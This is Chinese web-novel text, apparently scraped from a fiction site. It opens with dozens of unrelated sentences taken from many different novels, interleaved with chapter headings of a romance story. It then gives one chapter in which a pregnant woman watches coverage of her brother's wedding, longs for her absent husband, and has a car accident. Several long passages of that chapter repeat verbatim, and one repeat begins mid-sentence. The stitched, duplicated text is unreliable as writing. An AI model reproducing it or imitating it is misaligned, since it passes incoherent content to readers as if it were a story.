毕竟,他们老两口吃炸饼子,炸油糕,那都是没有给他们吃一口的。这一点,刘宁雅那还是不动声色就说出去了。 一听到这花瓶竟然知道那恶鬼有关的事儿,李涂鼎立刻停住了动作,随后随手设下了一个结界,开始询问那恶鬼的事情。 如果单单只是他一个例外那也就算了,但如果说,这个并不是一个,他身后有着其他人的话,那就太可怕了。 想到这里,赵太后就恨不得立刻下令大军伐燕,可惜赵国的将军们都建议先让边境守一守,等秋收完毕再派一位将军,帅邯郸之师北上配合齐军伐燕。 方静的无条件信任令晨风十分的感动,又看向了身边的张世飞,向他投去了感激的目光。不过这次肯定也是有他的私心,只是想打方柔以及林威的脸而已,只不过其中还是有相当一大部分的信任留给了晨风。 但先前的孔、孟等虽然肯定人的宝贵,在谈及鬼神时,却依然言语暧昧,不敢与旧事物完全割裂。墨家则是信鬼神的,到了阴阳家,更是拼命将人事往天意上引。 大脑血管堵塞是在短时间让人失去全部直觉,既然及时疏通了,也能在短时间内令人恢复之前的状况,只不过站起来还是有点困难的。足足适应了大概三五分钟,秃头男人才能在别人的搀扶下站起来。 刚才他跟宁拂尘讲解洞庭湖修士情况的时候他一直都盯着宁拂尘的脸,他说完之后都没有从他脸上看出什么神色变化。 可是如今,人家沮渠蒙逊替你做好了!这当然是一件值得高兴的事情,连秃发傉檀的神色都有些激动,他一直自诩通晓汉学,可是要他来编纂出这么一份族谱,也是想都没想过,却不料,这个自己部族的寇仇完成了这件事情。 他吐出了一口血,血是黑色的,并带有很重的臭味,比臭水沟里的味道更加浓烈,他的脸色瞬间变得极为难看,这不是身体对中毒的表现,是他自己对中毒的反应。 她今天穿了一身平常的衣服,上面穿着白色的衬衫,下面穿了一个紧身的牛仔裤,还有一双白色的高跟鞋,显得极为青春靓丽,让人光是看上一眼便觉得赏心悦目。 他清澈而干净的眼瞳里,忽然间涌出一抹黄褐色的光芒,身上散出一道极为强大恐怖的气息。 但是,血乌却没预料到,这原本是试图逼退敌人的一击,却没有落空! 张知节没有反应是因为心里头还在思索,那些将领们没有反应是因为已经被震懵了!当然了,即便是有没震懵的,见到张知节没有反应,他们也只能老老实实的跪着。 红红长着一副天生丽质的脸孔,这是廖北北喜欢她的原因,然而后面发生的事让他对廖北北彻底失望,也因着这事让他命丧黄泉。 中山郡王?开平郡王?中山王徐达,开平王常云春,他们的王位都是死后追封的。 一直稳坐钓鱼台的两位大学士听到满大殿对王守仁的赞扬声,心里头十分满意,忍不住偷偷瞄了几眼一直悄无声息的张知节。 第一卷 第152章 你就是我的衿衿 “老妈,你又要干什么?”林依雪紧张的看着这张爱一,她实在猜不透这个不按照套路出牌的老妈又想干什么。 所以,只用人民币买不来各种丹药,宝器,加上任务积分就可以了。 与此同时,年轻人的容貌也是发生了巨大的变化,变得英气逼人,变得英俊潇洒。 “对了,我可记得当初你说这雄楚市年轻一辈,没人能超越你,如果出现,你似乎要以身相许吧?”苏菲菲乌黑的眼珠转了转突然发问道。 这三个难兄难弟,在外面那种凶残的战斗当中,当真上不得台面了。 杨和尚看了一眼,忙转过了头去,心中直呼,阿弥陀佛,空即是色,色即是空,俺没看见,俺没看见。 从喝下这杯苦清茶开始,就是一个巨大的阴谋和圈套,而吴磊和王子涛被支开,他被单独留下来的原因,正是因为楚宁、元通方丈和云大大师想借助心灵诅咒让林雨麦死在幻觉之中。 棺木内部霞辉氤氲,一片灿烂,让人根本看不真切,所以那一滴鲜血进入之后也让人看不清什么。 走在校场旁边的道路上,看着校场里面,自己从李致龙和张大海那儿弄回来的那十几个战士已经跟着何招弟努力地训练了起来,而且还训练得有模有样的,他不禁乐了。 方白觉得此举有些冒失,但细细想来,貌似也没什么可准备的了——能出战的强者尽数在此,各类道具都留存在空间戒指当中,现在不动手,以后动手也和现在动手没什么区别。 当她落在地上时,一缕冰雪从她的脚下蔓延,一丝丝,一缕缕,布满了整个天枢拍卖行。 徐玲玲听到孔汤殷这些话,先是表示有些不解这话意思,皱眉挤眼了半刻。 这年头什么职业最能装逼,观众还多的那种?王旭想了又想,想了又想,最终还是决定了这个。 在山脚下看,它显得更加雄伟壮观,气势磅礴,特别是中间的那座直入云霄“剑塔”,它立于苍穹之下,云海之巅。 “好。”江瑜回过神来,连连说好,急切地挂了电话,然后,起身去冲了个冷水澡,压下自己因刚才的浮想联翩而起的欲望。 四位护国神,一心想要逃跑,普天之下无人能够留下,就像萨德拉肯,知道不敌的时候死命的逃跑,牧老也没能将他留下,一方面是不想,另一方面也是因为想要留下对方并不是简单的事情。 “对头!”胖子说着就往椅子那边走,可是刚才我们已经在这里面仔细的搜寻了一遍,那个椅子的后面是一个狐狸的雕像,后面根本就没有路。 旋即,秦飞扬跟她一起坐下,夏老则是听他说着西陕省的经历,听完之后,夏老便是明白了秦飞扬这次过来的意图。 只是,那太古翼人冰冷而无所谓的面庞,在看到伊冷烟后,明显一愣。 未婚妻,从一百,一千,一万,一百万,再到一千万,中间的跨度越来越大,经历的也越来越多。 华曦看了他一眼,明白他的意思,他是不希望她对他太好,否则,他会继续无法自拔,继续痛苦下去。 她是有意试探一下,风岚受了那么重的伤,应该不会和无疆发生什么,她比较放心。 貌似观音慈祥的灵月宫主,穿着一身绿衣,玉簪束发,头戴白纱,端坐在灰色的莲台上修行。 “咦?”一坐下,云荼就发现不对劲的地方,这个椅子看起来黑漆漆的,没有想到竟然如玉石一般冰冷平滑,入手的感觉也非木非玉,奇怪的紧。 守卫面部表情的向着冷平生宣布道,这角斗场分为一主场三侧场,一般不重要都会安排到侧场举行。 说真的,在乔西说出波音航天拥有星际旅行技术的时候,他都特么的心动了。 陶然自然无所谓,这种东西对他来说一点感觉也没有,就算让他从十层楼往下跳,他都能做到,还怕这个吗? 乔西闻言挑了挑眉,方尖碑已经落在了盟军的手里吗?就是不知道有没有被战略科学军团接手,如果没有的话,他倒还有机会拿到手,不然就没办法了。 就是云荼灵识之海属于帝旭尧的那一团光团,亦传来担忧的波动,在无声的提醒云荼她现在的实力还不足以应对眼前的状况。 魔雪琴手中拿着一个同昨夜一样的草编篮子,篮中一样盛满了枣红色水灵藻,她的目光被此时跪着的满耳,与他那高高吊起的双臂怔住了。 “那就好,想必你对刘刚的背景也有所了解,他的父亲是市教育局的副局长,对你暴打刘刚的行为很是不满,已经找到了学校。”黑阎罗直接说道。 第一卷 第153章 想要坦白 李家的船是装不下的,只有再派贾家的船跟着过去。贾家的船要过去,不能没有主子跟着,于是贾琏顺理成章的跟着船一路去福州了。 终于,五团灵韵之气在他丹元之中扩散了开来,忽然显得拥挤起来,它们一旦相互接触,便会立刻激撞冲突起来,毕竟他们并未是来自于一件法宝的灵韵之气。 姬落尘见到秦九渊出现,微微松了一口气,但眼中仍然还是有着凝重之色。 现在的他,就是这么想的,而且他也的确打算去这么做,可洛惜听完了这句话之后,却是再次摇了摇头。 古老宫殿光华大现,霞光迸射,无数乳白色的匹练光河,自山巅垂落而下。 网上,对于凝凝担任海传教授的这件事,最近也没有什么最新的消息了。 而那几名隐世传承真传弟子,更是手段不凡,出手如电,威势冲天。 其实昨夜端木兰给我恶补了一整夜的排兵布阵,依她所授方法我排了个攻城方阵。 苏辞一舒舒服服地泡了个澡,在浴室里听到门外传来动静,还以为是穆冷回来了。 只见刘依依右手在虚空中轻点了几下,道道迷蒙的白芒浮现,随着刘依依的控制,这些白芒尽皆被她打入了张思怡的魂魄之中。 “静怡我到了,你什么时候來接我,”秦寒拨通了唐静怡的电话说道。 “没事,咱们行会的人应该有人录了视频,相信用不了多久,论坛上面就会出现了吧!”林枫微笑着说道。 “没关系的,你太单纯了,被骗也不奇怪,以后注意了就可以了。”古羲劝慰道。 “告诉你也无妨,就让你做个明白的鬼去冥界报道吧!你记清楚了,我是东方世家的子嗣东方余肆,你已经屠杀了我东方世家的邵阳哥哥和少宇弟弟,今天我就要为他们报仇!”余肆大声说道。 漆黑的通道手电没办法照射到尽头,看样子这条通道少说100米。只是奇怪的是这通道两侧是由石板砌成的,向上看棚顶也是同样的石板,唯独地面竟然什么也没有铺,只是普通的土路,而且遍地是碎石。 出于职业杀手的敏锐感,三位兄弟把他们抓起来一问,好嘛来刺杀3287病房里的人的,3287正是刘波告诉他们东哥所在位置的地方。 “呵呵……老爷子您要是喜欢可以多住几天,正好我爷爷、师傅都在,你们可以多交流。”秦寒说道。 “是我不好意思才对,给林大哥添乱了。”池晓晴有些尴尬的站在那里,本來她就觉得很对不起林凡了,谁知林凡居然还來跟自己道歉,顿时有些手足无措起來。 雷震天的面目越来越冷淡,在他的严重,李霜紫已经成为了一个死人。 林翼虽然来得很早了,但是号数依旧不是最靠前的,他的号数是998,不过按照初赛的速度,也等不了多久。 巷战的惨烈,即使是仅仅是说出口,都让人觉得满眼满口的血腥,气味浓浓不散,到最后,甚至是一个大门,都来来回回的争夺几次。 “看到什么了?”那士兵狐疑了起来,自从唐府灭‘门’之后,自是听过不少关于唐府的灵异之事。 “不要这么麻烦的,我今天一天都不想出屋了。”凌东舞一出溜儿,又躺回被窝里。 说着,他把车又从新启动起来,挂上了三档,在公路上疾驰起来,如果脱缰的野马,马力一点点加大。 三本镇雄大骂一声,又是一记耳光。他的眼睛瞪得和铜铃一样,怒不可遏的他气愤之下拿起了一旁的木凳狠狠的砸在了飞龙的身上。 所以这次左林帆回京先代他爹去见了李承一这位老友,由于这层关系,李雪韵也沒有特意对已经身为储君的左林帆改变称呼,还是像之前那般的随意。不到做上龙位的时候,就都是一样的臣子。 淑太后转身便要逃,只是,根本来不及,血已经蔓延到了她脚下,一双巨大的血手迎面抓了过来,将她高高举起。 北冥烨笃定的目光绕着会场巡视一圈,浑身上下透着让人敬仰的自信。 叶榕馨这一次摔得更狠,手掌跟膝盖都擦破皮了,周围看热闹的人不少,都以为景东南跟她是情侣吵架。 杨修杰看着窗外,夹着雪茄,香港,我回来了,我这一次,会接受所有的工作,我会告诉杨诗敏,我一点儿都不比上官傲差,我也会告诉上官傲,你不在乎的杨诗敏,我会把她当做珍珠一样珍惜,因为她是杨诗敏。 我的妈呀,还要扶着她爬上十楼,那还不得累死人呀!但既然都送她到家门口了,总不好把她放在这里不管吧?累就累点,就当做一回苦力吧,谁让自己那么倒霉,摊上这档子事呢。 “那你希望我什么样子?”杨东歪了一下头,看着慕云珊,笑着问。 妙手空空的表情一下子为难起来,如果他想加入某个势力,早就有人扫榻以待了,就算那些千年势力,也会邀请他,光是大成的禹步,就让无数人心动。 在混乱中,马贼开了枪,而在新郎这边,也有人拿起了刀叉捅向马贼的心脏,双方的斗争由口舌之争演变成一场生死之战。 第一卷 第154章 相信陆京洲是爱她的 车子迅速靠向路边,平稳停下。 谁知六年之前,那穆宗皇帝初登皇位之时,竟有奸臣向穆宗皇帝进言,说那宦官吐突承璀和皇次子李恽图谋政变之事有我父亲参与在内。穆宗皇帝并未将此事详查,草草地将我父亲定罪,最终我父亲以串通谋逆的罪名被杀。 倘若这里不是地牢的话,这样一对美貌双生子靠在一起闭眸熟睡的画面,看起来倒真是赏心悦目。 也就在草木新月想借势跃过叶子善时,她无法理解的一幕发生了。 出了荣记药铺江九月几人然后又去了米粮铺子,买了二十斤粳米,还有二十斤白面。弟妹们都是正长身子的时候,不能总吃粗粮,多少得添些细粮才行。 “能不能告诉我,你为什么特别的需要这个名额。”叶浩转移了问题,直接开口问道。 众人也陆陆续续地收回了目光,而东岚九炎在收回视线的时候,眼神也不知是有意还是无意,从凌默的眉心一扫而过,眸中露出了若有所思的神情。 一想到以后悲惨的生活,李卧蚕只能强忍着恶心,将地上的饭菜慢慢的捡起来塞入口中。 “人类,与我们精灵相比较,着实显得脆弱不堪。他们没有雄霸天下的超能力,一生最长也不过短短百载。放在宇宙这个大的环境中,他们确实是微不足道的。”神剑之灵道出了人类的劣势。 “神使大人,这到底是怎么回事?剑子圣者那么强大,他怎么可能会死呢?”巴尔克急促地看着陆不弃。 “多大的人了,吵成这样有意思没?真是的,非要我发火。”林夕瑶没好气地翻翻白眼。 雷加是坦格利安王朝的继承人,而雷加的儿子伊耿自然比叔叔韦赛里斯的继承顺位更高,乃至于此时他们手中的俘虏情况很尴尬,既不能用来威胁敌人,也无法做到有所制约。 正是他精准的枪法让鬼子吓破了胆,根本连发起反击的勇气和机会都没有。 看慕天狂闲闲地坐在一边,纵着儿子对付他们,半点没有要帮的样子,伍公公和彩霞姑姑就悔死了。 当萧越白说完这些话之后,在场的众人也响起了不算太大,但是也很热情的掌声。 毕竟临江行省那三大家族可都是突破先天境的高手,绝非天辰能比的。 叶林绑完了黑布,脸上露出一丝阴谋得逞的奸笑,身子往后退了一步。 往昔这位没少给蓝礼脸色看,因为他认为自家好歹也是把蓝礼亲手养大的,结果蓝礼不感激不说,竟然还跑来处处与他做对,实在是不怎么讲究。 辰元有心阻止,但是奈何距离太大,根本来不及在第三步踏出之前阻止李重兵的动作。三步踏出,李重兵身上的衣物无风自动,就连那一头用发带束起的长发,也挣脱了发带的束缚,向后飘了起来。 她抱着还在襁褓中的殿下,跌跌撞撞去找云妃,将殿下托付给她后,再次回去。 “长官,下一个目标是谁?”换好衣服后,瘦猴拉着一个凳子,坐在了郑奇的旁边。 第一卷 第155章 岑予衿她三年前就该死了 车子停在了距离陆京洲檀月山庄不远的一条僻静小路上。 他熄了火,关闭车灯,将自己隐没在浓郁的树影里。 从这里,可以隐约望见那片别墅区入口的灯光,以及其中几栋亮着灯的窗户。 那些狼,像是就是出现在她和慕容雪的住处,并没有出现在别处,有些像是刻意而为之,戚流月想去查查看外面有什么异样,又觉得打扰到她们不好。 顾语嫣看着这一幕,也是眉头微蹙,显然也不明白是怎么回事,明显她与其它的弟子也都还好好的,她也没有感觉到任何中互毒的异样,这怎么会突然之间这样呢? 帝墨白对帝安宁压根没有任何的防备,更别说是想着她如今会能有这么大的出息了,他刚欲回去,顿时就感觉到一股力量再一次袭来,他的身子不受控制的彻底的离开了云莱岛。 其实有时候有那么一点瑕疵才会让人觉得这照片美得真实,美得有灵气。 白子寻自顾的给顾依依夹菜,就连鱼肉,白子寻都是将刺给剔了,再放在顾依依的碗里。 “老子真是蠢到家了,把你这只腌臜猥琐货当高人看,活该老子倒霉!”熊克定一屁股坐在只破竹椅上,坐在破竹椅吱吱嘎嘎的响。 “你受伤了,我一直在等你醒……”宁兮儿没察觉出他态度的转变。 “茜薇,你们到这多久了?”莫逸辰一屁股在林茜薇旁边坐了下来,开口问道。 “都是封死的。”玉树先推了推门,又转圈看了整间屋子,推了推所有的窗户。 谢黎墨眸光一闪,低头吻上云碧雪的耳垂,吮,吸,勾勒出形状来,呵气都让她颤栗不已。 天选无痕游走似得的射击,这更加考验精准度和判断力,不过这样做应该是提前热身,为了进入部落中战斗准备。 不管是忠叔在府衙,还是下放的李卫等人,上任之后,真正接手权力,还是遇到各种各样的无形阻力。 毕竟一个内官,在永乐帝跟前的分量,八成是没有徐景鸳重要的。 逍遥王爷探视的目光在樊青翼身上来回打转,企图将对方的想法看的一清二楚。 子安怔了一下,玩味着他话里的意思,肯定不能承认的,谁知道是不是试探?若她追问,便露了马脚。 而看着这样一幕的李大龙,也不得不承认,这个霸王确实有些不寻常。 她也不点破,教了邹琼若几个一下午功课后,散了堂,看着天光尚可,就寻思着,是不是抓紧时间走一遭,将邹一昂带过来的消息,立刻去转告沈窃蓝? 夏婉儿躲闪不及,脑袋直直撞在了这个vvip室的单向玻璃墙,脑壳里一阵嗡鸣。只觉得那边脑袋都没了,麻木了半响才觉得火辣辣的痛,眼前发黑,一阵阵眩晕袭上,意识也有些恍惚,嘴里有腥甜的气味。 更何况,抛去他那好色和不着调的性格不说,在某些方面,龟仙人也的确是个值得尊敬的人。 我的视线集中在弓箭手的弓上,不过还是能够分出心思来躲避法师男子阻挠的攻击,毕竟不是技能类,就没必要进行操作,只要微微侧身就能够轻松躲开。 根本来不及躲闪,甚至秦战天都还没升起躲闪的念头,那道黑线便汇入了他的体内,可奇怪的是细细感应分明没有觉察到体内有任何异样。 第一卷 第156章 必须隔着一条人命 凌晨的寒意无声无息地浸透了客厅的每一个角落。 落地窗外天色仍是沉沉的墨蓝,只有东方地平线透出极其微弱的一线鱼肚白。 天快亮了。 取出闪存卡,梁晨东张西望,最后从办公桌chou屉里找到一把钳子,很是暴力将闪存卡掐成碎片,然后走进洗手间扔进马桶里一冲了之。 莫不是后院的水道眼也堵了,他透过栅栏朝后边一瞧,果然如此。 “哥哥,你现在是什么层次了?到达神王了没有?”灵儿迫不及待的问道。 我仔细打量了他一番,长得很好看,但显然不认得:“对不起,我失忆了。”我淡笑着搬出了理由。 一间阴暗的房间中传来一声吱呀的推门声,门外的灿烂阳光争先恐后的挤进了幽暗的房中。 原来自从一个月前,不知从哪里来了一个和尚。也不知道跆拳道馆怎么得罪了这和尚;和尚别的事情不做,只做一件事情:踢馆。 宋佳猛然间恍然大悟,原来她一点也不在乎这个座位,她在乎的是要在少年心中始终留下一个印象,一个深刻得永远也无法磨灭的印象。 摸了摸宋舒怀的脑袋,叶无道点点头,看都没看脸色复杂还有面色苍白毫无人色的宋薛廉,牵着宋舒怀离开。 和几人接触了大半天,他发现还是张倩的思维正常一些,没有那么多稀奇孤怪的想法。 难道是因为焚寂剑刚才被无限压缩的邪龙之火煅烧了一下,威能又得到了巨大的提升? 那个灵虚散人果然不是什么好东西,顺手摸鱼被发现了,居然还这么嚣张。 星眸闪烁,韩萧眸中,迸射出一道神识之刺,“嘭”地一声,前方一块巨石,轰然炸裂开来。 一些修者看到几人远去的背影,脸上嘲讽之意渐浓,好像这圣皇城根本不应该是洛方他们应该来的。 如果不完成任务,那么死的将会是他,就算得到了花妖的赏识,也一点用都没有了。 亚特兰蒂斯人都视自己是神的子民,除了自己种族之外,所有的种族在他们眼中都是低等生物。现在一个低等生物居然杀了一个亚特兰蒂斯人,怎么让她不生气?即便那个亚特兰蒂斯人只是最低级的那种。 怪不得之前活雷公和蛊婆婆说话的那时候能够完全忽略在场所有人呢,以他们这种级别,整个蜀南都没有能人能在他们谈话的时候让他们重视。 也不多提这些,此时林沐带着队伍已经非常接近矿点所在,他此时在考虑一个问题,是直接过去,还是等待其他队伍共同前进。 一时间,所有的线索全部都联系了起来,这凌神宗能在数年内迅速崛起,除了凌弱水外,还有谁能办到? 他却并未说出,自己其实还曾经被韩萧打跑,而且还是两次!当然,这两次韩萧都凭借了外力,并不算是自己的本事。 第六门开启,他周身爆发出能量再度猛然攀升,犹如冲天的烈焰一般。 明知自己超凡的身体百病不侵,菲仍旧感到一阵心跳加速,脸红扑扑的。 至从节目直播完毕之后,兴奋的如同刚刚看过倭国首都热的葛大导演,就一刻也没有停止过他的创意演讲。 第157章 出车祸撞到了人 翌日清晨,岑予衿是被窗外叽叽喳喳的鸟鸣声吵醒的。 她睁开眼,惺忪的睡眼里还带着几分孕期特有的倦懒,下意识地就往身侧摸去,触手却是一片刺骨的冰凉。 这才猛地想起,陆京洲昨夜就被一通紧急电话叫走了,走得匆忙,连一句完整的道别都没来得及说。 手机安安静静地躺在枕边,屏幕漆黑一片,没有任**消息提示。 岑予衿伸手按亮屏幕,时间显示七点半,想来他此刻应该还在横跨大洋的航班上,根本没法回复消息。 她揉了揉发胀的太阳穴,慢吞吞地坐起身,孕期的嗜睡和疲惫像藤蔓一样缠绕着四肢百骸,连抬手的力气都像是被抽走了大半。 洗漱完毕,岑予衿拖着沉重的步子下楼,厨房的佣人已经备好了早餐,温牛奶、燕窝粥、还有几样精致的小点心,都是按着她孕期的口味准备的。 她给自己热了杯温牛奶,刚端起杯子,客厅里的电视就传来一阵喧闹的播报声是佣人早起打扫时顺手打开的,说是听听新闻,也能添点人气。 “本台最新消息,周氏集团大少爷周时越与M国林家千金林舒薇的世纪婚礼,将于今日上午十点在京市国际会展中心盛大举行!这场备受瞩目的联姻,不仅牵动着两大商业帝国的未来,更因一段‘生死相依’的浪漫过往,成为全城热议的焦点……” 岑予衿握着牛奶杯的手猛地一顿,温热的液体晃出杯口,溅在手背上,带来一阵微烫的刺痛。 她下意识地缩回手,看着手背上那片泛红的印记,脑子有片刻的空白。 婚礼?周时越和林舒薇? 这几个字像是凭空炸响的惊雷,震得她耳膜嗡嗡作响。 随即,她才后知后觉地想起,前几天陆京洲确实提过一嘴,说有人送来一张烫金的请柬。 当时男人还搂着她的腰,低头在她耳边轻笑,语气里满是戏谑,“我家媳妇儿好歹也是周家二小姐,哪有不去参加亲大哥婚礼的道理?放心,到时候我陪你去。” 他说这话的时候,指尖还轻轻摩挲着她的小腹,眼底的温柔几乎要溢出来,“顺便,也去搅搅局,让某些人知道,什么叫自食恶果。” 可那点模糊的记忆,早就被昨夜陆京洲突然离开的慌乱,以及她那句哽在喉咙里、终究没能说出口的“我不是周芙笙”给冲散了。 岑予衿走到沙发边坐下,目光不由自主地黏在电视屏幕上。 画面里正播放着周时越和林舒薇的独家采访,背景是铺满了红玫瑰的奢 华婚房,水晶灯折射出璀璨的光,映得两人郎才女貌,般配得刺眼。 周时越一身剪裁得体的高定西装,眉眼温柔地看着身旁的林舒薇,而林舒薇则穿着一袭洁白的长裙,依偎在他怀里,脸上是幸福得快要溢出来的笑容。 “那段时间,我真的很害怕,”林舒薇对着镜头,声音哽咽,带着恰到好处的脆弱,“阿越他失去了记忆,忘记了所有人,甚至连自己是谁都不知道。可我从来没想过要放弃他,我只想陪着他,守着他,等他重新记起一切。” 记者立刻接话,语气充满艳羡,“所以说,是林小姐不离不弃的陪伴,才让周大少爷重新找回了生活的方向,这简直就是现实版的童话故事啊!” “不离不弃。” 这四个字,像一根淬了冰的细针,轻轻扎进岑予衿的心脏,不痛,却带着一股密密麻麻的寒意,顺着血管蔓延到四肢百骸。 她看着屏幕上那对璧人,嘴角勾起一抹极淡的、带着嘲讽的弧度。 不离不弃?多么可笑的四个字。 真好啊。 真好。 岑予衿端起牛奶杯,喝了一口,温热的液体滑过喉咙,却暖不了那颗早已凉透的心。 现在的人对渣男的包容性可真强啊。 电视上的采访还在继续,记者追问道,“听说周大少爷还有一位妹妹,名叫周芙笙,也是前不久才被认回周家的。今天的婚礼,周小姐会到场吗?” 周时越的笑容淡了几分,语气却依旧温和:“芙笙她身体不太好,我和薇薇都很体谅她,就不勉强她来了。毕竟,家人的健康,才是最重要的。” 岑予衿看着屏幕上男人那张虚伪的脸,只觉得胃里一阵翻江倒海的恶心。 身体不太好? 他倒是会往自己脸上贴金。 她现在是周芙笙,是周时越名正言顺的妹妹。 按照周家的礼数,按照京市名流圈的规矩,她本该盛装出席,穿着最华丽的礼服,坐在观礼席的前排,笑着祝福自己的“好大哥”新婚快乐。 原本,她也是打算去的。 和陆京洲一块去,该有多有意思。 她甚至能想象出,陆京洲会牵着她的手,不动声色地将那些嘲讽的目光挡在身后,会在她耳边低语,说尽周时越的坏话,会用他那双带着痞气的桃花眼,将周时越和林舒薇的脸色看得一阵青一阵白。 那样的画面,光是想想,都觉得解气。 可现在,陆京洲远在飞往M国的航班上,天高路远,联系不 上,帮不了她。 她孤身一人,肚子里还揣着两个未足月的宝宝,别说去搞事情,就算只是安安静静地坐在那里,都难保不会被林舒薇盯上。 那个女人的心机有多深,手段有多狠,她比谁都清楚。 她不能冒险。 陆京洲不在身边,她就是自己和两个孩子的铠甲,不能有半分侥幸,不能拿孩子的安危去赌。 佣人端着早餐走过来,见她盯着电视出神,忍不住多嘴,“少夫人,今天周家大少爷结婚呢,电视上都播疯了。听说场面大得很,包下了整个国际会展中心,全京市的名流都要去捧场,光是安保就请了好几百人呢。” 岑予衿收回目光,淡淡“嗯”了一声,拿起勺子慢慢搅动着碗里的燕窝粥,粥里的红枣和枸杞浮浮沉沉,可她却没什么胃口。 “那您和先生……”佣人犹豫了一下,还是忍不住问道,“周大少爷是您大哥,按说您是该去的,先生他……” “他出差了。”岑予衿打断她的话,语气平静得听不出丝毫波澜,“婚礼我们就不去了。” 佣人了然地点点头,没再追问。在檀月山庄,陆京洲对岑予衿的宠爱是人尽皆知的,先生不在家,少夫人不想去,自然是没人敢勉强的。 岑予衿小口小口地喝着粥,目光却不由自主地又飘向电视。 屏幕上,周时越正温柔地替林舒薇理了理额前的碎发,动作亲昵,眼神缱绻,郎才女貌的画面,羡煞旁人。 可岑予衿看着,心里却没有半分波澜,既不觉得嫉妒,也不觉得难过,只觉得心口堵得慌。 堵得慌,不是因为周时越,也不是因为那场盛大的婚礼,而是因为陆京洲。 她想他了。 想他身上清冽的松香气息,想他抱着她时温热的体温,想他低头吻她时的温柔,想他昨夜离开前,紧紧握着她的手,说那句“媳妇儿,等我电话”时的模样。 他现在到哪里了?飞机有没有遇到颠簸? 有没有按时吃饭? 这些念头像潮水一样涌上来,密密麻麻地填满了她的心房。 岑予衿放下勺子,拿出手机,解锁屏幕,看着通讯录里那个置顶的名字,指尖微微颤抖。 她犹豫了很久,最终还是点开对话框,没有提婚礼的事,也没有说自己的想念,只简单地写着,一路平安,到了记得告诉我。 发送成功的提示弹出,她盯着屏幕看了许久,直到眼睛发酸,才将手机放回口袋。 窗外的阳光越来越盛,透过巨大的落地窗洒在地板上,暖融融的,将客厅里的一切都镀上了一层金边。 佣人已经将电视的声音调小了,屋子里安静得只剩下墙上挂钟滴答作响的声音。 可岑予衿的心,却像是被什么东西揪着,沉甸甸的,连呼吸都觉得有些费力。 她抬手,轻轻覆在小腹上,那里传来微弱的悸动,像是两个小家伙在轻轻踢她,像是在安慰她,又像是在提醒她,你不是一个人。 岑予衿弯了弯嘴角,眼底终于泛起一丝暖意。 是啊,她不是一个人。 她还有宝宝,还有陆京洲。 她能做的,就是守好这栋房子,守好肚子里的宝宝,安安静静地等陆京洲回来。 等他回来,听他说一句“我到了”,听他说一句“我想你了”,听他说一句“媳妇儿,我回来了”。 岑予衿不想一个人在房间里待着,想去公司看看。 房间里都是陆京洲的味道,她会控制不住的想他。 然而才刚出檀月山庄的大门,就出事儿了——出车祸撞到了人! 上,帮不了她。 她孤身一人,肚子里还揣着两个未足月的宝宝,别说去搞事情,就算只是安安静静地坐在那里,都难保不会被林舒薇盯上。 那个女人的心机有多深,手段有多狠,她比谁都清楚。 她不能冒险。 陆京洲不在身边,她就是自己和两个孩子的铠甲,不能有半分侥幸,不能拿孩子的安危去赌。 佣人端着早餐走过来,见她盯着电视出神,忍不住多嘴,“少夫人,今天周家大少爷结婚呢,电视上都播疯了。听说场面大得很,包下了整个国际会展中心,全京市的名流都要去捧场,光是安保就请了好几百人呢。” 岑予衿收回目光,淡淡“嗯”了一声,拿起勺子慢慢搅动着碗里的燕窝粥,粥里的红枣和枸杞浮浮沉沉,可她却没什么胃口。 “那您和先生……”佣人犹豫了一下,还是忍不住问道,“周大少爷是您大哥,按说您是该去的,先生他……” “他出差了。”岑予衿打断她的话,语气平静得听不出丝毫波澜,“婚礼我们就不去了。” 佣人了然地点点头,没再追问。在檀月山庄,陆京洲对岑予衿的宠爱是人尽皆知的,先生不在家,少夫人不想去,自然是没人敢勉强的。 岑予衿小口小口地喝着粥,目光却不由自主地又飘向电视。 屏幕上,周时越正温柔地替林舒薇理了理额前的碎发,动作亲昵,眼神缱绻,郎才女貌的画面,羡煞旁人。 可岑予衿看着,心里却没有半分波澜,既不觉得嫉妒,也不觉得难过,只觉得心口堵得慌。 堵得慌,不是因为周时越,也不是因为那场盛大的婚礼,而是因为陆京洲。 她想他了。 想他身上清冽的松香气息,想他抱着她时温热的体温,想他低头吻她时的温柔,想他昨夜离开前,紧紧握着她的手,说那句“媳妇儿,等我电话”时的模样。 他现在到哪里了?飞机有没有遇到颠簸? 有没有按时吃饭? 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岑予衿小口小口地喝着粥,目光却不由自主地又飘向电视。 屏幕上,周时越正温柔地替林舒薇理了理额前的碎发,动作亲昵,眼神缱绻,郎才女貌的画面,羡煞旁人。 可岑予衿看着,心里却没有半分波澜,既不觉得嫉妒,也不觉得难过,只觉得心口堵得慌。 堵得慌,不是因为周时越,也不是因为那场盛大的婚礼,而是因为陆京洲。 她想他了。 想他身上清冽的松香气息,想他抱着她时温热的体温,想他低头吻她时的温柔,想他昨夜离开前,紧紧握着她的手,说那句“媳妇儿,等我电话”时的模样。 他现在到哪里了?飞机有没有遇到颠簸? 有没有按时吃饭? 这些念头像潮水一样涌上来,密密麻麻地填满了她的心房。 岑予衿放下勺子,拿出手机,解锁屏幕,看着通讯录里那个置顶的名字,指尖微微颤抖。 她犹豫了很久,最终还是点开对话框,没有提婚礼的事,也没有说自己的想念,只简单地写着,一路平安,到了记得告诉我。 发送成功的提示弹出,她盯着屏幕看了许久,直到眼睛发酸,才将手机放回口袋。 窗外的阳光越来越盛,透过巨大的落地窗洒在地板上,暖融融的,将客厅里的一切都镀上了一层金边。 佣人已经将电视的声音调小了,屋子里安静得只剩下墙上挂钟滴答作响的声音。 可岑予衿的心,却像是被什么东西揪着,沉甸甸的,连呼吸都觉得有些费力。 她抬手,轻轻覆在小腹上,那里传来微弱的悸动,像是两个小家伙在轻轻踢她,像是在安慰她,又像是在提醒她,你不是一个人。 岑予衿弯了弯嘴角,眼底终于泛起一丝暖意。 是啊,她不是一个人。 她还有宝宝,还有陆京洲。 她能做的,就是守好这栋房子,守好肚子里的宝宝,安安静静地等陆京洲回来。 等他回来,听他说一句“我到了”,听他说一句“我想你了”,听他说一句“媳妇儿,我回来了”。 岑予衿不想一个人在房间里待着,想去公司看看。 房间里都是陆京洲的味道,她会控制不住的想他。 然而才刚出檀月山庄的大门,就出事儿了——出车祸撞到了人! 上,帮不了她。 她孤身一人,肚子里还揣着两个未足月的宝宝,别说去搞事情,就算只是安安静静地坐在那里,都难保不会被林舒薇盯上。 那个女人的心机有多深,手段有多狠,她比谁都清楚。 她不能冒险。 陆京洲不在身边,她就是自己和两个孩子的铠甲,不能有半分侥幸,不能拿孩子的安危去赌。 